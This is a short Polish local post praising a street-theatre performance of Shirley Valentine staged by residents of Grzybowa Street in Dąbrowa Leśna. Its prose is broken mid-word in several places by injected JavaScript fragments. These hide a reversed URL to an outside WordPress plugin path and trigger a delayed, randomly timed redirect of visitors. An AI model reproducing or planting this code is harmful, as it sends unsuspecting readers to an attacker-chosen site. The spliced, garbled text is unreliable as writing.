Shirley na Grzybowej

10 września, ciepły letni wieczór, ulica w Dąbrowie Leśnej. Cicho tu i spokojnie. Słychać tylko głos aktoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}torki, bo otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to przed nami scena teatralna na niej nieoceniona Ewa Satoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dowska jako Shirley Valentine krząta się po zainscenizowanej kuchni. Wokół zasłuchani widzowie siedzą na przyniesionych przez siebie stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tołkach, krzesłach, taboretach. Ewę już nie raz widzieliśmy w tej roli, jak zwykle wypadła wspaniale, ale pierwszy raz grała w takim niesamowitym miejscu.

Scena powstała na ulicy Grzybowej, na jej nieprzejezdnym odcinku, dlatego cichej spokojnej i przede wszystkim bezpiecznej. Mieszkańcy tej ulicy znają się spotykają i goszczą, no i przede wszystkim dbają o jej wygląd. Postanowili w ten sposób włączyć się (przy wsparciu NŁ) w organizację Dni Dąbrowy i zaprosić wszystkich toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}do siebie, na swoją ulicę.

No cóż, OBY WIĘCEJ TAKICH MIEJSC W ŁOMIANKACH !!!